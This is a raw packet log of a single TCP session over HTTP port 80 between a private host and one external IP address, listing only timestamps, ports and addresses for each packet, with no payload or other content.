Nov 15, 2024 09:10:24.157371044 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157406092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157416105 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157552004 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157586098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157620907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157629013 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157661915 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157665014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157711983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157809019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157851934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157862902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157883883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157891989 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157917976 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157953978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157999992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.158051968 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.158087015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.158104897 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.158123016 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.158174038 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.159913063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.159966946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160003901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160024881 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.160096884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160139084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160151958 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160155058 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.160207987 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.160250902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160284996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160320997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160347939 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.160353899 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160388947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160403967 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.160425901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.160504103 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.188143969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188179016 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188229084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188234091 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.188265085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188298941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188325882 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.188333988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188405037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188452959 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.188488960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188532114 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.188538074 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188580036 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188616991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.188671112 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.220535040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.220573902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.220583916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.220607042 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.220644951 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.220825911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.220910072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.220920086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.220979929 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.221046925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221112013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221154928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.221169949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221182108 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221209049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.221263885 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221280098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221302032 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.221322060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221330881 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221345901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.221364975 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.221385956 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274128914 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274192095 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274231911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274245024 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274266005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274301052 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274327993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274355888 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274393082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274435997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274457932 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274496078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274509907 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274530888 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274564981 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274566889 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274624109 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274677038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274712086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274730921 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274748087 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274760008 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274781942 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274816990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274857044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274872065 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274907112 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274945974 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.274947882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.274986982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.275047064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275090933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275126934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275161982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275176048 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.275212049 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.275259018 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275310993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275394917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275429964 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275439978 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.275465965 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.275486946 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.277468920 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277506113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277528048 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.277543068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277600050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277632952 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.277637005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277688026 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277724028 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277738094 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.277770042 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.277776003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277811050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277844906 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277868032 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.277880907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277909994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277940989 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.277945042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277982950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.277991056 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.278017998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.278059006 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.305329084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305425882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305471897 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.305476904 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305511951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305563927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305591106 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.305598974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305641890 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.305655956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305691957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305727005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305759907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305782080 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.305807114 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.305809975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305845022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305860996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305876970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.305898905 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.305928946 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.338233948 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.338263035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.338274956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.338285923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.338296890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.338303089 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.338309050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.338331938 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.338376999 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.339035988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339072943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339108944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339128017 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.339145899 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339183092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339221001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339236975 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.339256048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339268923 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.339287996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.339392900 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.391747952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.391836882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.391894102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.391930103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.391944885 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.391985893 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.391985893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392016888 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392051935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392087936 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392096996 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.392124891 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392132044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.392159939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392221928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392235041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392239094 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.392254114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392277002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.392303944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.392318964 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.394809961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.394867897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.394923925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.394948006 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.394964933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.394975901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395004988 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395023108 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395070076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395097971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395172119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395206928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395242929 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395252943 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395277977 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395279884 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395338058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395375013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395379066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395411968 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395447969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395499945 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395565033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395600080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395611048 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395636082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395672083 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395694971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395706892 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395728111 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395749092 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395776987 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395811081 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395845890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395880938 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395894051 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395915031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395925045 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.395953894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.395999908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.396024942 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.396037102 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.396073103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.396106005 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.396131039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.396166086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.396174908 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.396249056 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.396284103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.396311998 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.422638893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422667027 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422673941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422682047 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.422715902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.422756910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422769070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422780037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422816992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.422909021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422919989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422931910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.422956944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.422982931 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.423006058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.423017025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.423027992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.423048973 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.423094988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.423278093 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.455338955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.455380917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.455419064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.455430984 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.455471992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.455507994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.455518961 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.455543995 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.455596924 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.456336975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456391096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456425905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456446886 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.456463099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456497908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456512928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.456533909 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456625938 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.456670046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456701040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.456746101 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.508698940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508716106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508740902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508764982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508780003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508790016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.508807898 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.508826017 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508863926 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.508891106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508910894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508940935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.508954048 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.508990049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.509008884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.509051085 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.509071112 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.509108067 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.509155035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.509211063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.509222984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.509263992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.511900902 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.511946917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.511948109 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.511957884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.511996031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.511996984 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512008905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512049913 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512103081 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512115002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512173891 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512193918 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512265921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512276888 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512301922 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.512432098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512444019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.512468100 CET	80	49795	190.107.177.80	192.168.2.10
